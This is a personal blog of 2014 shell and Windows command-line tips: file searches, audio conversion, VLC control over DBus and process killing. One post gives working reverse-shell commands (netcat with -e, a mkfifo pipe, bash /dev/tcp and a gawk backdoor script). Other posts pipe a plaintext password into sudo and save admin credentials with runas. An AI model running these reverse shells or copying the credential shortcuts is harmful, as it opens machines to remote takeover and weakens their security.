Thursday, July 31, 2014

Find & grep file name then grep file

find ~ -name '*alias*' -exec grep wget {} \;

Probably not as efficient yet a bit easier on my brain is the command substitution way: 

grep wget $(find ~ | grep alias)

Monday, July 28, 2014

Using mountpoint to check if a filesystem is mounted before doing something else

I use this to check to see if my reformatted usb mp3 player is mounted (improperly), and if so then remount the partition I want:

alias usbmp3='mountpoint -q /mnt/pt/sdb && ((\!$?)) && $(echo <password> | sudo -S umount /dev/sdb;echo <password> | sudo -S mount /dev/sdb1 /var/host/media/removable/USB\ Drive/;cd /var/host/media/removable/USB\ Drive/) || echo "/dev/sdb not mounted"'

Saturday, July 26, 2014

Bash IPC made easy with coproc

Source: http://unix.stackexchange.com/questions/86270/how-do-you-use-the-command-coproc-in-bash
$ coproc awk '{print $1 $2 $3;fflush();}'
$ echo one two three >&${COPROC[1]}
$ read -ru ${COPROC[0]} var1 var2 var3
$ echo "$var1 $var2 $var3"
one two three
$ kill $COPROC_PID 

Process substitution and redirection captured into variables

$ free
                      total           used       free     shared     buffers    cached
Mem:       1923164    1742180     180984          0      13912      88384
-/+ buffers/cache:    1639884     283280
Swap:      2817132    1786860    1030272

$ read mem total used free shared buffers cached < <(free | tail -3)

$ echo $mem $total $used $free $shared $buffers $cached
Mem: 1923164 1742180 180984 0 13912 88384

Enumerate ls and perform ops by listing index number

(precise)root@localhost:~# ls | cat -n
     1    chrome_touchpad
     2    Desktop
     3    Documents
     4    Downloads
     5    Music
     6    Pictures
     7    Public
     8    Templates
     9    Videos

(precise)root@localhost:~# ls | sed -n '3p;8p' | xargs stat
  File: `Documents'
  Size: 4096          Blocks: 8          IO Block: 4096   directory
Device: 801h/2049d    Inode: 130070      Links: 2
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2014-07-18 21:30:27.929137260 -0400
Modify: 2014-05-19 11:40:05.358916751 -0400
Change: 2014-05-19 11:40:05.358916751 -0400
 Birth: -
  File: `Templates'
  Size: 4096          Blocks: 8          IO Block: 4096   directory
Device: 801h/2049d    Inode: 13769       Links: 2
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2014-07-18 21:30:27.961137260 -0400
Modify: 2014-05-19 11:40:05.358916751 -0400
Change: 2014-05-19 11:40:05.358916751 -0400
 Birth: -

Thursday, July 24, 2014

Horse racing!! =)

Cool script I found at http://www.tldp.org/LDP/abs/html/colorizing.html, I only had to change it slightly to use sleepenh instead of usleep since my system doesn't have usleep (sudo apt-get install sleepenh if you don't have it).

Wednesday, July 23, 2014

Expansions and contractions

for a in $(eval echo "{1..$(($RANDOM%50))}"); do SUB=\ ;for b in $(eval echo "{1..$(($RANDOM%10))}"); do SUB="$SUB\ "; echo "expansions and contractions of morals and ethics follow the ebb and flow of first order thievery" | sed "s/./&$SUB/g;G"; done; sleep 1; done

Generic ls loop to perform action on specific files

lsdo.bsh:  
#!/usr/bin/env bash

function usage {
cat <<  EOF
Usage: lsdo [LSDIR: ls -tr directory] [FILTER: eg. "tail -8"] [DOCMD: eg. cp "EACH" .]
  Eg. lsdo
. "tail -5 | grep -i mp3" "stat EACH" 
EOF
}
 

LSDIR=${1:-"/tmp"}
FILTER=${2:-tail -8}
DOCMD=${3:-echo \"\$LSDIR/\$a\"}

[[ $# -eq 0 ]] && usage && exit 0
 

IFS=$(echo -en "\n\b") && for a in $(ls -tr "$LSDIR" | eval $FILTER); do eval $(echo "$DOCMD" | sed 's/EACH/\"\$LSDIR\/\$a\"/g');  done && unset IFS

$ lsdo.bsh . "tail -5"
./gawk_rev_sh.bsh
./mp42mp3.bsh
./grace_kill_win.bsh
./myaliases.bsh
./lsdo.bsh

 $ lsdo.bsh . "tail -5 | grep -i mp3"
./mp42mp3.bsh 

$ lsdo.bsh . "tail -5 | grep -i mp3" "stat EACH"  
 File: `./mp42mp3.bsh'
 Size: 1058          Blocks: 24         IO Block: 4096   regular file
Device: 19h/25d    Inode: 259872      Links: 1
Access: (0775/-rwxrwxr-x)  Uid: ( 1000/cronkilla)   Gid: ( 1000/cronkilla)
Access: 2014-07-22 20:26:29.880524398 -0400
Modify: 2014-07-10 17:32:52.207333868 -0400
Change: 2014-07-10 17:32:52.216333868 -0400
 Birth: -

Saturday, July 19, 2014

Start Windows commands w/ admin privileges without a password

First start any command with runas and admin privileges

runas /savecred /user:<user w/admin privs>  <command to run>

E.g. 
runas /savecred /user:root cmd.exe 

It will prompt for a password so enter it, yet after that the credentials are saved so any command can be run without entering a password:

runas /savecred /user:root taskkill /f /im cmd.exe /t

no password necessary!

Tuesday, July 8, 2014

Create a Reverse Shell via Netcat

On the shell receiving side:
nc -l 80

On the shell sending side:
nc <receiving machine ip> 80 -e <command e.g. bash>

If there is no -e option for your netcat:
unlink pipe; mkfifo pipe && nc <your ip> 80 <pipe | <command e.g. bash> &>pipe; unlink pipe

Weird effect is you can mirror the shell sending side output remotely, you need to control still from shell sending side and you wont see anything echoed only the shell receiving side will see it: On the shell sending side:
bash -i >& /dev/tcp/<receiving machine ip>/80

Or if there is no netcat on the receiving side you can use gawk:
Source: http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122387

gawk_rev_sh.awk: 
#!/usr/bin/gawk -f

BEGIN {
        Port    =       80
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}


After you can connect via
nc <receiving machine ip> 80

bkd> 

Other good ideas about reverse shells here: 
http://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html

Monday, July 7, 2014

Convert all MP4 files to MP3 via avconv

IFS=$'\n' && for a in $(find . -maxdepth 1 -name "*.mp4" -type f -printf "%f\n" | rev | cut -d '.' -f2- | rev | sort -u); do if [ ! -f "$a.mp3" ]; then  avconv -i "$a."* -vn  -ab 128 "$a.mp3"; fi done && unset IFS
 

This may look a little strange but I wrote it originally to handle any type of file, it flips the filename around with rev and then cuts the first field off, this handles files with multiple "."'s such as

my.fav.music.mp4

and if you clip off the -name "*.mp4" it will try to convert every file in the directory to an mp3 if an mp3 doesn't already exist for it

Execute sudo without entering password

echo <your password> | sudo -S <your command>

List and Sort Large Files via find

This will recursively find all files larger than 10MB with the largest files listed last (closest to prompt):

find . -size +10M -printf "%s %f\n" | sort -n -k 1

List Deleted yet Open files via lsof +L1

lsof +L1

Delete empty files via find

find . -size 0 -exec rm {} \;

Recursively Spider Website via wget

This will spider a website on a specific URL going down no more than 2 levels deep staying on the target URL end point:

wget -np -r -nH --cut-dirs=2 -U "Mozilla/5.0 (Windows NT 5.1; rv:10.0.2)" -l 0 -p http://docstore.mik.ua/orelly/unix2.1/sedawk/

Change the URL to whatever you want

Control VLC via DBUS

Start vlc with --control dbus:  
vlc --control dbus

Toggle play/pause on VLC:
qdbus org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2  org.mpris.MediaPlayer2.Player.PlayPause

Remove last track from playlist (requires previous alias):
alias rmvlc='qdbus org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.TrackList.RemoveTrack $(qdbus --literal org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.TrackList.Tracks | sed "s/\(.*{.*: \)\(.*\)\(]}]*\)/\2/")'

Clear entire track list:
alias clvlc='for a in {1..50}; do rmvlc; done 2>/dev/null' 

Instead of PlayPause you can call any of the MediaPlayer2 methods:
$> qdbus org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2

method QString org.freedesktop.DBus.Introspectable.Introspect()
method QDBusVariant org.freedesktop.DBus.Properties.Get(QString, QString)
signal void org.freedesktop.DBus.Properties.PropertiesChanged(QString, QVariantMap, QStringList)
method void org.freedesktop.DBus.Properties.Set(QString, QString, QDBusVariant)
property read bool org.mpris.MediaPlayer2.CanQuit
property read bool org.mpris.MediaPlayer2.CanRaise
property read QString org.mpris.MediaPlayer2.DesktopEntry
property read bool org.mpris.MediaPlayer2.HasTrackList
property read QString org.mpris.MediaPlayer2.Identity
property read QStringList org.mpris.MediaPlayer2.SupportedMimeTypes
property read QStringList org.mpris.MediaPlayer2.SupportedUriSchemes
method void org.mpris.MediaPlayer2.Quit()
method void org.mpris.MediaPlayer2.Raise()
property read bool org.mpris.MediaPlayer2.Player.CanControl
property read bool org.mpris.MediaPlayer2.Player.CanPause
property read bool org.mpris.MediaPlayer2.Player.CanPlay
property read bool org.mpris.MediaPlayer2.Player.CanSeek
property readwrite QString org.mpris.MediaPlayer2.Player.LoopStatus
property readwrite double org.mpris.MediaPlayer2.Player.MaximumRate
property read QVariantMap org.mpris.MediaPlayer2.Player.Metadata
property readwrite double org.mpris.MediaPlayer2.Player.MinimumRate
property read QString org.mpris.MediaPlayer2.Player.PlaybackStatus
property read int org.mpris.MediaPlayer2.Player.Position
property readwrite double org.mpris.MediaPlayer2.Player.Rate
property readwrite double org.mpris.MediaPlayer2.Player.Shuffle
property readwrite double org.mpris.MediaPlayer2.Player.Volume
method void org.mpris.MediaPlayer2.Player.Next()
method void org.mpris.MediaPlayer2.Player.OpenUri(QString)
method void org.mpris.MediaPlayer2.Player.Pause()
method void org.mpris.MediaPlayer2.Player.Play()
method void org.mpris.MediaPlayer2.Player.PlayPause()
method void org.mpris.MediaPlayer2.Player.Previous()
method void org.mpris.MediaPlayer2.Player.Seek(qlonglong)
method void org.mpris.MediaPlayer2.Player.SetPosition(QDBusObjectPath, qlonglong)
method void org.mpris.MediaPlayer2.Player.Stop()
property read bool org.mpris.MediaPlayer2.TrackList.CanEditTracks
property read QList<QDBusObjectPath> org.mpris.MediaPlayer2.TrackList.Tracks
method void org.mpris.MediaPlayer2.TrackList.AddTrack(QString, QDBusObjectPath, bool)
method QDBusRawType::aa{sv} org.mpris.MediaPlayer2.TrackList.GetTracksMetadata(QList<QDBusObjectPath>)
method void org.mpris.MediaPlayer2.TrackList.GoTo(QDBusObjectPath)
method void org.mpris.MediaPlayer2.TrackList.RemoveTrack(QDBusObjectPath)
signal void org.mpris.MediaPlayer2.TrackList.TrackAdded(QVariantMap, QDBusObjectPath)
signal void org.mpris.MediaPlayer2.TrackList.TrackListReplaced(QList<QDBusObjectPath>, QDBusObjectPath)
signal void org.mpris.MediaPlayer2.TrackList.TrackMetadataChanged(QDBusObjectPath, QVariantMap)
signal void org.mpris.MediaPlayer2.TrackList.TrackRemoved(QDBusObjectPath)


# list media files with line numbers
alias lsn='ls -tr | cat -n |more'

# add tracks by line number
alias advlc='_(){ lsdo.bsh "$(pwd)" "sed -n $1" "qdbus org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2  org.mpris.MediaPlayer2.TrackList.AddTrack \"file://EACH\" /org/mpris/MediaPlayer2 false"; }; _ 1>/dev/null'

E.g.
advlc 584p\\\;577p
advlc 580\,583p
advlc 422p 

lsdo.bsh:
#!/usr/bin/env bash

function usage {
cat <<  EOF
Usage: lsdo [LSDIR: ls -tr directory] [FILTER: eg. tail -8] [DOCMD: eg. cp "EACH" .]
  Eg. lsdo "/home/cronkilla/Downloads" "tail -8" "cp EACH /tmp"  
EOF
}

LSDIR=${1:-"/home/cronkilla/Downloads/youtube"}
FILTER=${2:-tail -8}

DOCMD=${3:- cp \"\$LSDIR/\$a\" .}

[[ $# -eq 0 ]] && usage && exit 0
 

IFS=$(echo -en "\n\b") && for a in $(ls -tr "$LSDIR" | eval $FILTER); do eval $(echo "$DOCMD" | sed 's/EACH/\"\$LSDIR\/\$a\"/g');  done && unset IFS

Friday, July 4, 2014

Kill all processes with name wildcard via wmic

Logon as user with administrator privileges then: 
wmic process where "name like '%<application name>%'" delete

E.g. To kill all VNC server processes
$ wmic process where "name like 'vncserv%'" delete
Deleting instance \\IDEA-PC\ROOT\CIMV2:Win32_Process.Handle="1976"
Instance deletion successful.
Deleting instance \\IDEA-PC\ROOT\CIMV2:Win32_Process.Handle="1088"
Instance deletion successful.
Deleting instance \\IDEA-PC\ROOT\CIMV2:Win32_Process.Handle="3212"
Instance deletion successful.

Or you can use SSH to kill processes remotely on a windows box from *nix box:

ssh <user>@<ip address> $(echo wmic process where \"name like \'%<process to kill>%\'\" delete)

or
 
ssh <user>@<ip address> taskkill /f /im <process to kill> /t 

Gracefully shutdown Windows programs via Powershell

The problem with programmatically killing apps is that you may lose work or skip steps that are required or useful that would normally be accomplished by the application when shutdown properly.

To accomplish this there is a method implemented by Windows processes called CloseMainWindow(). However, some applications like Firefox have multiple windows spawned and CloseMainWindow() will only close the last focused window. In order to close all of the windows you must loop around and call CloseMainWindow() until all windows are closed.

This can be accomplished the following one-liner, replace <app name> with the name of your application (you don't need to include the extension .exe):

powershell -Command "while ($true){Try{$process=Get-Process <app name> -ErrorAction Stop}Catch [Microsoft.PowerShell.Commands.ProcessCommandException]{break;}if ($process) {$whateva=$process.CloseMainWindow()}else {break;}Start-Sleep -m 500}"

E.g. to close firefox
powershell -Command "while ($true){Try{$process=Get-Process firefox -ErrorAction Stop}Catch [Microsoft.PowerShell.Commands.ProcessCommandException]{break;}if ($process) {$whateva=$process.CloseMainWindow()}else {break;}Start-Sleep -m 500}"

##terminate a process gracefully

while ($true) {
Try
 {
   ## Tell powershell to stop on error
   $process = Get-Process firefox -ErrorAction Stop
 }
 Catch  [Microsoft.PowerShell.Commands.ProcessCommandException]
 {
  break;
 }
   if ($process) {
     ## catch the output in a variable to avoid echo'ing TRUE/FALSE to stdout
     $whateva = $process.CloseMainWindow()
    }
   else {
    break;
  }
   ## Sleep for half a second to avoid race condition of shutting down the app and looping
   Start-Sleep -m 500
}   

If you use a VM or Cygwin:

grace_kill_win.bsh:

#!/usr/bin/env bash
powershell -Command "while (\$true){Try{\$process=Get-Process $1 -ErrorAction Stop}Catch [Microsoft.PowerShell.Commands.ProcessCommandException]{break;}if (\$process) {\$whateva=\$process.CloseMainWindow()}else {break;}Start-Sleep -m 500}"

Afterward you can create an alias for it:
alias gkw='grace_kill_win.bsh'

Then you can kill anything gracefully with the command: gkw <application name>